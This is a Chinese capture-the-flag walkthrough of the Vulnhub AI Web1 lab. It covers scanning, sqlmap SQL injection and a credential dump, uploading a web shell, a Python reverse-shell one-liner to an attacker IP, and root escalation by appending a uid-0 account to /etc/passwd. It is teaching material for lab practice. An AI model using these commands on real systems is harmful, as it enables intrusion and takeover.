Vulnhub靶场——AI Web1练习
字数 1021 2025-08-19 12:41:48
AI Web1 靶场渗透测试教学文档
1. 信息收集阶段
1.1 网络扫描
- 使用
arp-scan和nmap进行初始扫描 - 确认目标IP:
192.168.78.145 - 开放端口:
80(HTTP)
1.2 目录扫描
- 使用
dirsearch扫描Web目录 - 发现关键文件/目录:
/robots.txt- 暴露目录:
/m3diNf0/和/se3reTdir777/uploads/
- 暴露目录:
/m3diNf0/info.php(phpinfo页面)- 获取网站绝对路径:
/home/www/html/web1x443290o2sdf92213/m3diNf0/info.php
- 获取网站绝对路径:
2. 漏洞发现与利用
2.1 SQL注入漏洞
- 发现注入点:
/se3reTdir777/的输入表单 - 注入测试:
- 输入
1→ 正常返回 - 输入
1'→ 报错 - 输入
1"%23→ 成功返回
- 输入
- 确认注入类型: 字符型,双引号闭合
2.2 使用sqlmap自动化利用
- 保存请求为文件
1.txt - 检测注入:
sqlmap -r 1.txt - 获取数据库信息:
sqlmap -r 1.txt --dbs - 获取表信息:
sqlmap -r 1.txt -D aiweb1 --tables - 获取表数据:
sqlmap -r 1.txt -D aiweb1 -T systemUser --dump - 解密获取的密码(Base64):
- t00r:FakeUserPassw0rd
- aiweb1pwn:MyEvilPass_f908sdaf9_sadfasf0sa
- u3er:N0tThis0neAls0
2.3 获取Web Shell
- 使用sqlmap的os-shell功能:
sqlmap -u "http://192.168.78.145/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --level=3 --os-shell - 上传Web Shell:
sqlmap -u "http://192.168.78.145/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --file-write hanhan.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hanhan.php - 使用冰蝎连接:
- 连接URL:
http://192.168.78.145/se3reTdir777/uploads/hanhan.php
- 连接URL:
3. 权限提升
3.1 反弹Shell
- 攻击机监听:
nc -lvvp 9999 - 靶机执行(通过冰蝎终端):
export RHOST="192.168.78.128";export RPORT=9999;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' - 提升为交互式Shell:
python -c 'import pty;pty.spawn("/bin/bash")'
3.2 添加特权用户
- 生成加密密码:
输出:perl -le 'print crypt("123456","123456")'12tir.zIbWQ3c - 编辑/etc/passwd:
echo "hanh:12tir.zIbWQ3c:0:0:root:/root:/bin/bash" >> /etc/passwd - 切换用户:
密码:su hanh123456
4. 获取Flag
- 成功读取flag:
flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}
关键点总结
- 目录扫描发现敏感信息(robots.txt)
- SQL注入点的发现与利用
- sqlmap的高级用法(--os-shell和文件上传)
- 反弹Shell的技巧
- 通过修改/etc/passwd提权的方法
- 交互式Shell的获取方法